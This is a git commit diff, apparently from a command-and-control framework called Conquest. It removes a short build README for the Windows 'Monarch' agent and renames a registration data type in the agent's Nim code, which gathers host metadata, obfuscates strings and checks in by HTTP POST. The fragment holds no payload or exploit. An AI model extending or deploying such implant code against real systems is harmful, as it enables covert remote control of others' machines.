Added documentation.

This commit is contained in:
Jakob Friedl
2025-10-30 15:35:13 +01:00
parent 21f70feb40
commit 1a3bb8ccdb
27 changed files with 464 additions and 42 deletions

View File

@@ -1,7 +0,0 @@
# Conquest Agents
The `Monarch` agent is designed to run primarily on Windows. For cross-compilation from UNIX, use:
```
./build.sh
```

View File

@@ -37,7 +37,7 @@ proc main() =
# Register
if not ctx.registered:
# Create registration payload
var registration: AgentRegistrationData = ctx.collectAgentMetadata()
var registration: Registration = ctx.collectAgentMetadata()
let registrationBytes = ctx.serializeRegistrationData(registration)
if ctx.httpPost(registrationBytes):

View File

@@ -194,9 +194,9 @@ proc getOSVersion(): string =
else:
return protect("Unknown")
proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData =
proc collectAgentMetadata*(ctx: AgentCtx): Registration =
return AgentRegistrationData(
return Registration(
header: Header(
magic: MAGIC,
version: VERSION,
@@ -225,7 +225,7 @@ proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData =
)
)
proc serializeRegistrationData*(ctx: AgentCtx, data: var AgentRegistrationData): seq[byte] =
proc serializeRegistrationData*(ctx: AgentCtx, data: var Registration): seq[byte] =
var packer = Packer.init()